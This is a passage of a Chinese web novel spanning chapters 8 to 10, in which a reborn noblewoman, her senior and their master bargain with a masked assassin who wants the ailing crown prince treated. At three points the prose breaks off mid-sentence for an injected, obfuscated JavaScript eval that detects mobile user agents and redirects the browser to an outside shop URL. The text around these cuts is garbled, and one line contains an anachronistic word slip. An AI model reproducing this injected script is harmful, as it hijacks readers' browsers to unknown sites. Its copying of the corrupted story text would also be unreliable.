一阵鸡飞狗跳后,容锦簇精准捉住鸽子后腿,将捆好的纸条取下来。 纸条上赫然……纸条上空无一字。 不信邪的容锦簇将纸条举到半空中,对着阳光照了照,又趴在桌下,在黑暗里照了照。 一番折腾后,容锦簇终于确信了,师兄没有别的意思,就是在耍她。 如果说这世上只有那么几个人能被容锦簇视为亲人,让她感到安全,放心自由做自己,肆无忌惮、漫无边际地打闹、谈心,其中一个必定是跟她从小玩到大的师兄了。 此时此刻,深感自己被戏耍的容锦簇愤然将纸条揉作一团,推开窗扇,凭感觉向外掷去。 “哎哟!” 方才还空荡荡的院子里,赫然多出一个青年的身影。 此人白衣翩翩,却四仰八叉,毫无形象跌坐在地,一手揉着前额,一手按住缀在肩上的褡裢。 他飞也似的爬起来,抬起头,朝容锦簇谄媚一笑,算作打招呼:“好久不见啊,师妹,扔得真精准。” 容锦簇抱臂站在窗前,明知他有意配合自己,还是不高兴。 “什么事?” 江望灿又是讨好一笑,露出两排整齐的牙齿:“走啊,一起逛朱雀街去。” “……”她就知道!又是为了万国会! 正是各国使节抵京的日子,朱雀街热闹非凡。 熙熙攘攘的人流中,一位浅青纱衣的貌美少女木着脸走得飞快,后面年轻俊朗的白衣郎君忙不迭拨开拥挤人群,左闪右躲,对少女穷追不舍: “师妹!师妹!等等我!” 朱雀街游人如织,两侧小摊也是各有各的卖力,连声叫卖,高低长短,连成一曲抑扬顿挫的大合唱。 匆忙间,有什么东西碰了碰容锦簇的手腕。 容锦簇侧目,那张银白色缀桃花的冰冷面具下,一双丹凤眼从容地对她弯了弯。 银面桃花举起一张镂空缠枝蝴蝶半覆面具,朝她轻轻一晃: “又见面了,容二姑娘。” 他面前支着摊子,各色面具琳琅满目。 容锦簇恍然记起,前世她第一次认识银面桃花,正是在这里,万国会的朱雀街,这方狭窄的面具摊前。 “容二姑娘,跑这么快,遇上追兵了?”他语气戏谑。 “没有。”容锦簇往后瞧,师兄大概被挤去了别处,一眼看不到人影,“你怎么在卖面具?” “不合理吗?”银面桃花有一下没一下地抛着那张蝴蝶面具,又挑在指尖转了转,朝她湛湛一笑,“喜欢哪个?我送你。” 容锦簇没好气:“您老人家自己留着慢慢玩得了。” 银面桃花还要再说什么,忽然眸色一厉:“小心!” 容锦簇还没来得及回头,已经一个趔趄,被银面桃花拽到面具摊一侧牢牢护着。 一团白色残影以迅雷不及掩耳之势,轰的一头栽进面具摊。 薄薄的木案承受不住撞击,哐当一声从中裂开,断成两半。师兄也跟着缓缓陷入其中,以一个双膝着地的姿势,被哗啦啦流下的各色面具就地掩埋。 银面桃花不知从哪摸出一把折扇,手腕一抖,行云流水展开扇面,矜持地摇了摇,另一只手虚虚拢在身后,摇头轻叹:“仁兄请起,不必行此大礼。” “……” 容锦簇瞪他一眼,忙去扶江望灿:“师兄,你小心些。” 江望灿自己先从面具堆里爬了起来,苦兮兮抓住容锦簇的袖角哀嚎:“师妹,你走得也太快了,师兄本来就腿脚不好,好不容易看见你,生怕你又走远,呜呜呜呜呜呜……” “真的没事吗?”容锦簇无奈听着这一顿哭天抢地,只好反抓住他手臂,上下打量那身沾了尘土的白衣,“确定没伤着?你要是伤到哪了,回头我怎么跟师父交代啊?” “放心,你师兄我皮糙肉厚,以血肉之躯撞上这结结实实的大木板子,顶多落得个肩不能挑、手不能提、七窍流血、重伤身亡的结局,能有什么大事呢?”江望灿哀哀戚戚地垂下眼,继续死死揪着容锦簇袖角不放,“师妹你也不必愧疚,我呢,就是看到你太激动,这跟你无关。如果我过两日重伤不治,你记得在我坟上写……” “说什么胡话!”容锦簇比他着急多了,“师兄别怕,我这就带你去找郎中……” 终于,银面桃花清了清嗓子,从旁探进一把折扇,看似没用什么力气,将江望灿抓着容锦簇袖角的手轻轻拨开:“两位,两位。” “我说,别在我这儿两心相许,生离死别了,行不行?我还得做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484492|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生意。还有这位仁兄,砸了我的摊面,在你没赔清之前谁也别想带你走,阎王也不行。” 江望灿这才注意到银面桃花的存在,立刻柔弱地依偎在师妹肩上:“你是摊主?咳咳,失礼失礼。你这摊子值多少钱,我一并付给你,今日可以收摊了。” “我这摊子,恐怕仁兄付不起。”银面桃花唇角凉凉一勾,“既然你跟容二姑娘相识,看在她面子上,在下实话交代,这是幽冥阁的生意。赔多赔少,我说了不算。” “幽冥阁?”江望灿冷笑,“如此更好。只怕幽冥阁还不得不卖我个面子了。” 余光瞧见容锦簇目光惊诧地望着他,江望灿立刻半死不活地咳了起来:“师妹,我是不是要死了,咳咳咳……” 见状,银面桃花收了扇,嘴角笑意殷殷却并不真切:“还没来得及问,仁兄尊姓大名。” 江望灿挺起胸膛,目不斜视,光明正大地自我介绍:“行不改姓坐不更名,我便是——鬼王谷医圣江玉!” “……”容锦簇满头黑线,恨不得自己压根不认识旁边的白衣男子。 哪有自己闯了祸报师父名号的! “哦?听闻医圣二十年前早已名扬天下,观仁兄年纪,三岁就出来行医了?”银面桃花不出所料一眼识破,并且一如既往的嘴上不饶人。 江望灿不理,扭头向容锦簇倾诉:“师妹,你听听,这个人多么居心不良。为兄今年分明才二十,他居然把我说老了三岁!” 容锦簇艰难地捂住脸,对这两人无话可说。 如果不靠谱也有比试的话,银面桃花和江望灿肯定要为谁是状元而大打出手。 “够了!”她中止两人天马行空的对话,“我来介绍。” “这位是我师兄,我师父最看重的弟子。你对人家这么不客气,还想不想拜托我师父帮忙救人了?” 银面桃花沉吟。 “师兄,这是幽冥阁的银面郎君,你应该听说过。他是其中一位,代号银面桃花。” “银面桃花?”江望灿立刻往容锦簇身后躲,瑟瑟发抖,“好难听的名字,师妹,他眼神好阴狠,不会要杀了我吧?我害怕。” “别怕。”容锦簇拍了拍他的手,转头瞪着银面桃花,“我师兄没有武功,但是别的都很厉害,你对他客气一点!” 银面桃花无辜:“我又没凶他,他自己撞上来的。我还没怪他撞翻了我的摊子,够客气了。” “那个什么桃花。”江望灿继续躲在容锦簇身后,“你尊姓大名?你都问过我了,来而不往非礼也。总不能我也要喊你什么桃花吧?” “我单字琢。”沉默半晌,银面桃花说。 “姓呢?” “无可奉告。” “无可奉告?那我要喊你江卓了。”江望灿立刻顺着杆子往上爬,恨不得占尽他便宜。 “随意。”萧琢时回答。 江望灿眉开眼笑:“这就对了!我叫江玉,你叫江卓,江玉,江卓,你名字没我好听。” 银面桃花大人勉强维持着礼貌的微笑。 得意的江望灿乘胜追击: “那么,你的卓是哪个卓啊?” 面对落入圈套的猎物,银面桃花终于挑起唇角微微笑了: “自然是——‘玉不琢,不成器’的琢。” 8. 第 8 章 听见这话,江望灿差点昏死在容锦簇怀里。 “师妹,他他他要琢我!” 仔细一品,又觉得那人是不是还拐弯抹角嘲讽他不成器? 越想越生气,离开面具摊后,江望灿一路高猿长啸,属引凄异,空谷传响,哀转久绝。 终于在路人侧目中,江望灿停止了悲鸣,拉着容锦簇的衣角,气息奄奄:“师妹,你师兄今日可能要死在京城了。” “别胡思乱想!”容锦簇忙不迭转移话题,“不是说要逛一逛这朱雀街吗,走了师兄,咱们看胡人表演喷火去。” 说罢,扯着江望灿就要往前走。 江望灿反倒停住了。若有所思一阵,抬起头道:“师妹,这事不对。” “哪里不对?师兄你就是疑心太重。”容锦簇哄他,又试图转移话题,“我写信不是让师父来吗,你怎么比师父到得还早。” “师父啊,还得过两天能到……不对,你不对。”江望灿直直锁着她的眼睛,仿佛要深深望进容锦簇心里去,“师妹,你是不是喜欢他?” “谁?”容锦簇当即东张西望,开始装傻,“没看到有好看的郎君啊,师兄你又说胡话。快走快走,晚了可赶不上喷火了。” “容师妹,你喜欢那小子,戴面具那个,江琢。”江望灿极其肯定地下了结论,“别装了。” “我不喜欢他!”不经一丝思考,容锦簇立刻反驳,“我就是喜欢天,喜欢地,喜欢天上的鸟,喜欢河里的鱼,都不可能喜欢他!” 江望灿没吭声,拼命对她使眼色,眼睛抽筋了似的。 容锦簇怔了怔,回过头,银色面具的少年正寂寂无声站在她身后。 他指尖还勾着那副缠枝蝴蝶面具,漂亮的丹凤眼里一片空冷。 两人面对面站着,仿佛意识到自己的失态,他回神,淡薄的唇勾了勾,将面具递向她:“忘了送给你。” “明晚,熙春楼见。赔偿的事,你师兄需要跟幽冥阁亲自谈。” 容锦簇没接,一瞬不瞬盯着萧琢时,蓦然,问:“你听到了吗?” “听到什么?”萧琢时同样不经一丝思考反问,随即才弯弯唇角笑了,笑容很散漫,“当然。我又不聋。” 那他这,算是什么反应? …… 入夜。 朱雀街逐渐冷清下来,一束月光越过房顶,斜斜披落在容锦簇肩头。 逛了半日朱雀街,容锦簇从身到心都十分疲惫。她在容府门前停下脚步,对身后紧跟的江望灿发出逐客令:“我到了,师兄请回吧。” 江望灿左手捏着一串糖葫芦,右手提着两包栗子糕,手腕上还挂着那张缠枝蝴蝶面具,十分乖巧无辜地眨巴着眼:“我回哪去?” “……师兄住哪个客栈,当然就回哪去。”容锦簇莫名其妙,“你总不能没地方住吧。” 江望灿的头往容府偏了偏,示意她:“这里有地方啊。” 容锦簇大惊失色:“你不住客栈?” “我也没说我要住客栈吧。”江望灿理不直气也壮,“容夫人我了解,她是个好心人,必然舍得挪一间客房给我……” “重点不是这个!”容锦簇无奈,“我们府上尽是女眷,你一个外男住进来,好意思吗。” 江望灿也沉默了。半晌,他小声问:“那你能借我点银子吗?” “师兄,你出门不带银子的?” “我的银子得留着赔偿你那小情郎的面具摊嘛。”江望灿嬉皮笑脸,额上立刻不轻不重挨了容锦簇一个爆栗。 “那不是我小情郎!”容锦簇恼羞成怒。 “害羞了。”江望灿捂着额头嗷嗷叫,还不忘嘴贱,“都为了他敲你师兄头了,还说不是!” “你再说,容府就不让你住了!” 江望灿立刻闭上嘴,安静如鸡。 容锦簇叹口气:“师兄当时也在场,我说了不喜欢他,他也听见了,师兄怎么还缠着我说他是小情郎呢?” “师妹,眼睛骗不了人啊。”月光下,江望灿转过身,留下一个幽幽的背影,“你没看见,他的眼睛像要被你砸碎了。你离开时,你的眼睛也碎掉了。” “师、兄!”容锦簇无心跟他讨论这是不是一个恐怖故事,咬牙切齿,“你回来,咱们好好算算账!” “师兄住客栈去了!”江望灿装完深沉,拔腿就跑,“明晚见啊。” 下一刻,他疯狂逃窜的身影突然在长街尽头刹停。 面对来人,江望灿张了张嘴,可怜又谄媚地一笑,干巴巴喊了一声:“师父。” —— “姑娘,姑娘,大事不好了!” 一大早,宝河连滚带爬冲进来,将美梦中的容锦簇用力摇醒。 “三姑娘带了好多人,要搜姑娘的卧房!” 容锦簇揉着眼坐起身,半梦半醒:“先挡着,等我睡醒再说。” “姑娘,来不及了!夫人亲自下的令,整个雪寒院都被包围了!三姑娘还说,如果您执意不起,就是心里有鬼……” “那就有鬼好了。” “可是夫人说,按容家祖训,如果擅自与外男私会,按照第二百五十一条,凡我容家……” “别念了别念了,我起来了。”容锦簇哀嚎一声,像条鱼一样从床上滑下来。 烦。 容锦簇顶着一张倾国倾城的厌世脸,慢吞吞洗漱完毕,亲自拉开门。 强烈的阳光刺得她眯起眼,四下望了望,无视容锦虞杀气腾腾的神情和婆子手里的棍棒,自顾自打招呼:“大家这么早就来了啊,不热吗?” “容锦簇!”容锦虞一副要吃了她的表情,“好啊你,身为容家女,你胆敢跟外男私通!” “什么师公?升空?东宫?” 容锦簇装聋作哑,目光缓缓巡过整个雪寒院,倏然阴冷下来,“搜查可以,我的卧房只有你能进。除你以外,敢有任何人擅闯,我一定死咬着她,以僭越罪闹到容家上面去。” 一时四下噤声。 容锦簇很满意自己的反派技能越来越娴熟了,这才恢复如常,靠在门边懒懒招了招手:“不是要搜吗,快点儿,我还有事,晚了恕不奉陪。” 容锦虞二话没说,一个箭步冲了进去。 容锦簇笑了笑,跟着转身进卧房,将门掩上。 那些银子和贵重物件儿,她早就藏好了。不过她知道容锦虞是冲着什么来的,昨晚一回来她就发现了,枕头底下多出一枚藕色荷包。 果不其然,容锦虞一进门就直奔枕头,毫不犹豫抓起来一掀—— 枕下空空如也,什么都没有。 “你你你,你把荷包藏哪了?” 这么低级的陷害手段,容锦簇都有些怜爱了,摊开手朝她一笑:“你问我?我没有荷包啊。” 容锦虞满脸写着不甘,东翻翻西找找,终于趁容锦簇失去耐心,侧身看向窗外的一瞬间,从袖中飞快地摸出一枚荷包,塞进容锦簇枕头下。 目睹全程的容锦簇:“……” 三妹妹的异想天开症什么时候才能治好啊。 下一瞬,容锦虞就大吵大嚷起来:“来人哪,我找到二姐姐私藏的荷包了!” 这回容锦虞铁了心要把事情闹大,不出半刻钟,容府正堂后的花厅里,容夫人甚至容宁烟都到了,两人坐在圆桌前,表情各异地瞧着一前一后进来的容锦虞和容锦簇。 容锦虞先发制人,将鸳鸯荷包拍在桌上:“这,就是二姐姐私会外男的证据。” 面面相觑。 有师父在,容锦簇算是有了底气。她压根没打算白费口舌,在容夫人对面坐下,慢吞吞提起茶壶,为还没赶到的师父倒了杯热茶。 容夫人捏起那荷包掂了掂,脸色有些难看,张口却道:“阿宁,说话做事要慎重。这不过是一个荷包,跟私会怎么能扯上关系?” 容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484493|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人居然会替自己说话?容锦簇下意识多看了容夫人两眼,心里不知是什么滋味。 还没来得及感动,一道清冷淡漠的音色从外响起,江玉缓缓步入花厅:“听人说,我徒儿与外男私会?” 容夫人立刻面露紧张,站起身迎接。 容锦簇轻轻一嗤。她还奇怪太阳怎么从西边出来了,原来容夫人也收到了师父抵京的消息啊。 江玉并不稀罕给容夫人面子,径直走到容锦簇身边撩袍落座,接过徒儿倒好的茶,淡淡问:“怎么回事?” 哪怕昨夜已经与师父见过,容锦簇的激动还是难以言表。 “师父,我也不知道怎么回事。她冲进我房中乱翻,没翻到荷包,就自己拿出来一只塞到我床上,贼喊捉贼。” 说着,容锦簇有些哽咽了。 算起来,前世有十余年不曾见过师父。 也不知收到她病逝的消息,师父会是什么心情。 江玉只当这阵哽咽是容锦簇受了天大的委屈。一向报喜不报忧的徒儿都开始向她撒娇了,可见问题的严重程度。 当即茶盏往桌上重重一搁,江玉冷眉冷眼,平静问话:“容夫人,这事如何处理?” 容夫人赔着笑,立刻温温柔柔道歉:“她们也是小打小闹,阿宁不是有意的。江医圣,实在不好意思,是我这个做母亲的失职,让两个姑娘受了委屈。” 江玉冷哼一声:“我问你如何处理!既然容夫人说不出,就由我这个做师父的决定了。你那个姑娘几时受过委屈?过来,给我徒儿道歉。” 容锦虞左看右看,见阿娘都低了头,不得不磨磨蹭蹭走上来,心不甘情不愿低下头认错:“对不住。” 容宁烟似是看不过眼,出声辩解:“二伯母,医圣大人,其实这事也并非三姐姐杜撰,我前几日亲眼看到二姐姐跟一位戴着面具的郎君拉拉扯扯,也许——” “你说的不会是江琢吧?”一个白衣少年蓦地从墙头跳下来,利落地……摔了个狗啃泥。 他从地上迅速爬起来,拍拍衣服,一瘸一拐走进花厅。 正是江望灿。 “这位姑娘,咱们可不兴污蔑造谣啊。你说那个戴面具的我昨日也见了,跟我容师妹半点关系也没有,倒是追我追得紧,还非要冠我的姓做我亲弟!” “什么?”容宁烟难掩惊色。 江望灿见状,越发起劲了:“那你是不知道,我们俩一见面,他就唤我兄长,还让我不必行礼,我弄坏了他的铺面,他也不让我们赔偿,一转头还追上来送面具……” 他描绘得眉飞色舞,直到江玉一声清嗓,江望灿浑身一震,这才收敛了几分。 “总而言之,那戴面具的郎君跟师妹毫无关系,私会更是无稽之谈。你也不想想,都能让你瞧见,算什么私会?你污蔑师妹私会他,还不如污蔑师妹私会我呢。” 这顿抢白气得容宁烟脸色红一阵青一阵,半晌才勉强道:“师兄说得有理,是烟儿莽撞了。” “我可不是你师兄。”江望灿掂起荷包看了一眼,反唇相讥,“我说你们造谣好歹也逻辑严密一点行不行,荷包不都是姑娘送出去的么。按你们捉人的道理,这荷包是那外男绣好,送给我师妹的?” “万一,只是万一,二姐姐想着先绣好,等下次再……抱歉,是烟儿失言了。”容宁烟低下头,楚楚可怜。 “师妹亲手绣的?这绣的也不是鸭子啊。” “公子,这是鸳鸯荷包。”容宁烟好不容易等到个破绽,迫不及待出言纠正。 “你也知道是鸳鸯荷包!”江望灿等的就是这句话,立刻满意地揭穿,“你是没见过容锦簇的女工吗,那不管什么鸟都绣得跟鸭子似的,居然还指望她能绣这么像的鸳鸯出来,真是连陷害都不会陷——” “够了,师兄,可以了。”不知何时站过来的容锦簇一边掐着他手臂,一边咬牙切齿微笑,“咱们已经赢了,不要再骂我了。” 9. 第 9 章 “知道知道,师妹,别闹,师兄这不是为了帮你嘛。”江望灿龇牙咧嘴,捂着手臂跳起来躲她。 “我用你帮啊?我有师父呢!”容锦簇小声凶回去。 “这话说的,你师父不是我师父啊?她还是我娘呢!”江望灿反驳。 旁若无人的交流气得容宁烟小脸煞白,反倒坐在一旁无声品茶的江玉面色稍霁,嘴角流露出一抹不易察觉的慈爱微笑。 若是这两个孩子能成……也不失为一桩好事。 容宁烟垂死挣扎:“但是,也不能完全说明二姐姐没有嫌疑,日后也应当——” “容宁烟。”容锦簇忽然笑吟吟唤她,容宁烟下意识坐直了,抬起眸。 “方才三妹妹搜查时,一开始没从我房中翻出荷包,没办法,她自己放了一个进去。那你想不想知道,她本来打算寻找的荷包在哪?” 几乎就在话音落地的一瞬间,容宁烟猜到了荷包在哪。 她面上血色唰的褪尽,连嘴唇也变得惨白,忙不迭起身行礼。 “二姐姐……阿年向你道歉。我错了,今日之事全是我的错。我不应该如此武断,怀疑二姐姐,回去以后我必定闭门思过。二伯母,阿年忽然想起还有急事,先行告退了!” 说罢,没等容夫人开口,也不顾礼仪是否周全,容宁烟像根爆竹似的蹿出了容府,深恨没有生一对翅膀。 作为主心骨的容宁烟一走,容锦虞也坐不住,找个理由溜之大吉。容夫人自然要陪容锦虞回去,道了声失礼。 见状,江望灿立刻凑到她身旁:“师妹,你真把荷包塞她房里了?” “我让侍女烧了。”容锦簇小声答,“师兄,你不懂,这叫攻心。” “妙啊!”江望灿手舞足蹈,“师妹啊,你终于长大了,这虚晃一招,用的真妙啊,太妙了!” “……师兄,你是猫吗。” 说着,只听江玉唤猫儿似的唤:“望灿,过来。” 江望灿身子瞬间一僵,乖乖凑上前。 “阿娘。” 江玉从怀中取出一只小瓷瓶,倒了几粒药出来。 就着容锦簇的茶水,江望灿吞下药,将茶一饮而尽。 “师兄,你这几日不舒服?”容锦簇围观他服药,见他拧眉作痛苦状,立即担心起来,“难道是昨日——” “没有不舒服。”江望灿缓过劲,当即没心没肺一挥手,“这药我天天吃,习惯了。” 但他听见江玉喊他时那么迟疑,明明就是不想服药啊? 容锦簇左思右想,见师兄不想她问,只得将疑问咽了回去。 罢了,好奇心害死江望灿。 “你笑什么?”吃完药,江望灿没事人一般,盯着容锦簇问。 “想到了小时候。”容锦簇眼神亮晶晶的,笑容难得明媚,“那会儿咱们身体都不好,师父哄你喝完药,又要哄我喝药。” 江望灿也跟着笑起来,可怜兮兮:“师妹啊,你是解脱了,苦了师兄啊。你离开鬼王谷后,师兄每天要喝两份药……” “行啦。”江玉轻咳一声,“徒儿,你信中说需要救的人是怎么回事?趁早瞧过了,我还要带望灿回鬼王谷捣药。” “师父放心,今晚就知道了。” 一转眼,日落西山,到了跟银面桃花约定好的时辰。 熙春楼,戏台上照样咿咿呀呀唱着,天色已晚,茶客各回各家,只剩一个银色面具的年轻男人独自坐在台下,撑着头看戏。广袖滑落,露出一截瘦削有力的苍白手腕。 容锦簇一进熙春楼,立即锁定了他。 然而,看出那人是谁后,她踌躇片刻,伸手拍拍身边的江望灿:“师兄,你去。” “我不去。”江望灿将身一扭,恨不得当场逃走,“出银子需要我,难道谈判还需要我不成?” 两人大眼瞪小眼,容锦簇也有些底气不足:“反正师兄也不着急,要不坐下歇会儿吧。” “哎呀师妹,我不急,师父着急啊。你忍心看见你貌美如花的师兄回去还要挨打吗?”江望灿恨不得抱着她哭上一场,“算师兄求你了,快去。” 好在银面桃花也注意到了他们,扇柄在桌沿闲闲一敲: “容二姑娘,江兄。” 昨日刚说过不喜欢他,对方反应还那样平淡,一想起此事,容锦簇就浑身不自在,小声嘀嘀咕咕:“怎么是你?没有幽冥阁的人吗。” “我不算幽冥阁的人?”银面桃花气定神闲,拉开椅子请江望灿坐下,这才从旁落座,“既然来了,先谈谈赔偿的事。” “赔偿的事,可以免了。”容锦簇飞快地瞥了江望灿一眼,鼓足勇气说。 萧琢时为之侧目:“二姑娘好气魄,不妨说说原因。” “你说过可以满足我任何一个愿望。” “这就是你的愿望?为了帮他?”萧琢时微微垂眼,敛起笑意,“我记得,我们交换的条件是,让你师父救一个人。” “我师父已经到警察了。” 这倒是出乎萧琢时意料,没有任何迟疑,他同意得很爽快:“可以。” 江望灿顿时长舒一口气,心肝宝贝似的捂住怀里的钱袋,喜上眉梢。 “那就请师父过来?咱们两清。”他迫不及待站起身,“师妹,你在这等我一会儿,我去去就——” “等一下。”关键时刻,容锦簇打住了他的话。 “怎么了师妹?” 江望灿看容锦簇,容锦簇看萧琢时。 萧琢时不声不响,嘴角挂着的玩味笑意琢磨不透,任她打量。 容锦簇直觉不对劲。 他很爽快。 问题是,太爽快了。 甚至有一丝……着急。 她几乎瞬间捏到了他的软肋,就是他要救的那个人。 不管是谁,一定对他很重要。 想到这一层,容锦簇眼都亮了。 这可是送上门的把柄,不要白不要:“救人可以,得加价。” “是吗?说来听听。”萧琢时眼神暗了暗,仍然稍稍向前倾身,做足了一副洗耳恭听的姿态。 不知为何,容锦簇感受到一丝强大的压迫感,仿佛之前肆意散漫的青年只是银面桃花精心伪装出来欺骗她的一种假象。而藏在面具下的那个人,根本不是她认识的那个银面桃花。 但是容锦簇不想放弃这种难得的好机会。顶着萧琢时给的似有若无的压力,她瑟瑟发抖地开了口。 “再满足我一个愿望。” 压力骤然一松。 银面桃花往后靠去,指尖将面具往上挪了半寸。光洁如玉的下半张脸上,唇角弧度扩大几分。 “这有何难,可以。” “还有!”想起前世的恩怨情仇,容锦簇觉得,不趁机报复银面桃花一把,实在太可惜了。 银面桃花神色沉了沉,却还没有表现出不耐:“二姑娘请讲。” 容锦簇犯了难。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484494|201924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她是要报复银面桃花,但还没来得及想。 又想起师父还在等着,容锦簇苦恼地抿起嘴,情急之下,突然想起一件事来:“我想请你帮忙引荐,让我见太子殿下一面!” 银面桃花神情僵硬了一瞬。 容锦簇也意识到自己在胡言乱语什么,赶紧道:“我……说笑的,我知道等闲人见不到太子殿下。” “你的意思是,我也是等闲之辈?”银面桃花笑意逐渐古怪起来,双膝交叠,优雅地垂下眼拨弄扇坠。 “我确实有这个意思。” 银面桃花沉默了。 见他不语,容锦簇补充:“我也知道你有很多事做不到,不会强迫你的……” “可以了,容二姑娘。”银面桃花忍无可忍,“我答应。不过容二姑娘恐怕失策了,这算不上加价。” 容锦簇怔住:“为什么?” “为什么?”萧琢时重复了一遍,扇柄在掌心一敲,闲闲道,“天机不可泄露。” 莫名其妙。这人怎么还学会打谜语了? 不多时,江玉赶到。 萧琢时没再耽搁,几人从熙春楼后院绕出来,辗转巷里小路,来到一户全无异常的普通宅邸门前。 萧琢时手上有宅邸钥匙,开了院门,请江玉先入,随后是江望灿和容锦簇。 此时天色昏暗,深蓝夜幕下,唯独屋内透过纸糊的窗子透出一层暖黄色烛光。 一个抱着双臂靠在屋舍门口睡觉的蓝袍少年从地上爬起来,拍拍衣摆,满面戒备。 正要张口,警惕的目光在触到萧琢时的刹那冰消雪融,笑容迅速爬上他的两颊,当即对着为首的江玉恭恭敬敬一揖: “神医!” 江玉目光淡淡落下来,抬手虚扶:“无需多礼。” 少年显得更加感激了,一面飞快地替几人开门,一面絮言:“可算将神医大人盼来了,这几日大家都急得睡不着觉,真不知如何是好。” 说罢,亮声禀报:“公子,神医大人到了!” 江玉先迈进屋,然后是好奇心压倒一切的江望灿。容锦簇落后一步,分神留意着银面桃花的动静。 她侧过脸,正瞧见蓝袍少年对银面桃花哭诉,差点膝盖一软跪下:“二、二公子大恩大德,小的没齿难忘!” 萧琢时将人往上一提,含笑:“行了,跟我客气作甚。” 说罢,回身朝容锦簇问:“一起进去?” 跟着萧琢时跨进门,容锦簇才似有若无地闻到一股浅淡的药草味。 正堂一片黑暗。转进里屋,灯也不多,因此床前两盏烛火尤显明亮。顺着跳跃不定的豆大火苗,容锦簇看向虚掩的天青色床帐。 一只惨白的手扯开床帐。 尚是夏日,床上却堆砌着锦被。在厚重如山的锦衾被褥之间,那只手的主人,一道白衣披发的消瘦背影正缓缓坐起,蓝袍少年奔到床边,替他掌灯。 借着模糊昏暗的烛光,那人稍稍拨开垂在脸侧的乱发,向他们侧过身。 烛火影影绰绰,隔着无数交叠的光与影,容锦簇浑身一颤,突然屏住了呼吸。 她竭力睁大眼睛,试图将那人的面容看得更加清晰明朗。心底暗暗描摹过一遍眉眼轮廓,霎那间血液逆流,四肢失力,如坠冰窟。 熟悉的脸,眉,鼻,唇……她一遍又一遍确认,却始终不敢相信,银面桃花不惜亲口求她,要她帮忙救命的那个人,怎么会是、怎么会是他! 10. 第 10 章 一瞬间仿佛时光倒流,回到她入宫,与新帝相遇的第一眼。 容锦簇强迫自己从回忆里抽身,屏息凝神看向面前这个骨瘦如柴的年轻男子。 她无论如何也想不到,银面桃花求她救的人居然会是先帝! 更准确来说,他此刻不是先帝,甚至连皇帝也不是。 而是容锦簇求银面桃花带她去见的当朝太子殿下,萧逐夜。 如果不出任何意外的话,萧逐夜将会在两个月后登基,成为与她相伴五载的夫君。 想到这,容锦簇的心狠狠揪了起来,一阵钝钝的疼。说不出是对前世的遗憾,还是对此刻的担忧。 似乎有千言万语凝在她舌尖,然而,这些思绪下一瞬就跟着银面桃花消散了。 萧琢时挪了几步,很自然地挡在了她和萧逐夜的视线中间。 被他高大修长的身影一挡,容锦簇差点没眼前一黑。萧逐夜是挡住了,本来就昏暗的烛光也帮她遮了个七七八八。 “你挡到我了。” “哦,是吗?”萧琢时懒洋洋抱着手臂,完全没有要避让的意思,垂眸看向床侧正在为萧逐夜诊脉的江玉,“没关系,容二姑娘,你又不必为他诊脉。” 容锦簇从萧琢时身后探出头。 萧逐夜恰时抬起那双睫毛纤长的凤眸,专注地向她投来一道说不清道不明的目光。 萧琢时也注视着这道目光,顿了顿,移开视线,耐心等待江玉诊脉。 寂静中,容锦簇的袖角忽然被人轻轻往下一拽: “师妹。” “怎么了?”容锦簇扭过头,这才发现江望灿脸色苍白,瞬间一慌,“师兄,你不舒服?难道是昨日摔在摊子上……” 闻言,萧琢时侧目,微微压嗓:“二姑娘,有必要提醒你,赔偿的事已经两清了。你师兄也不是琉璃珠玉,摔一下碎不了。” “我无妨,可能是起得太早,有点头晕。”江望灿不理会萧琢时,自顾自垂下湿漉漉的眼,可怜兮兮扯着容锦簇,“师妹,我终日闻着这药味,所以更受不了……” “闭嘴,安静。”江玉道。 仿佛故意要跟她作对似的,屋门忽然哐当一声被人撞开,几个气势威严、披挂甲胄的兵士护送两位白胡子老太医进了门。 两位太医容锦簇都认识。 直到她当上太后,两个老头儿还没从太医院退下来。 完成了护送任务,几个兵士齐齐向萧逐夜抱拳行礼。按照装束,显然是太子亲卫。 一阵夜风拂过,盔甲焊在身长九尺的亲卫们身上巍然不动,反倒掀起一片肃杀的冷寂。 左边那个瓮声瓮气向萧逐夜发问:“公子,现下感觉如何?” 萧逐夜没有开口,那张天生矜贵的脸看不出任何神情。 右边那个鼻子动了动,单手按在剑柄上,冷冷道:“好浓的药味。” 此时江玉刚诊脉完毕,单独取出一张帕子细细擦拭着手指:“公子这病很少见,接下来我需要单独跟公子谈一谈。除了二位医官和望灿,劳烦各位移步到外等候。” 几个太子亲卫听了倒没什么意见,先一步退了出去。 容锦簇瞥了一眼脸色惨白的江望灿,琢磨不透师父的意思。 师兄他不会医术,为什么要留下? 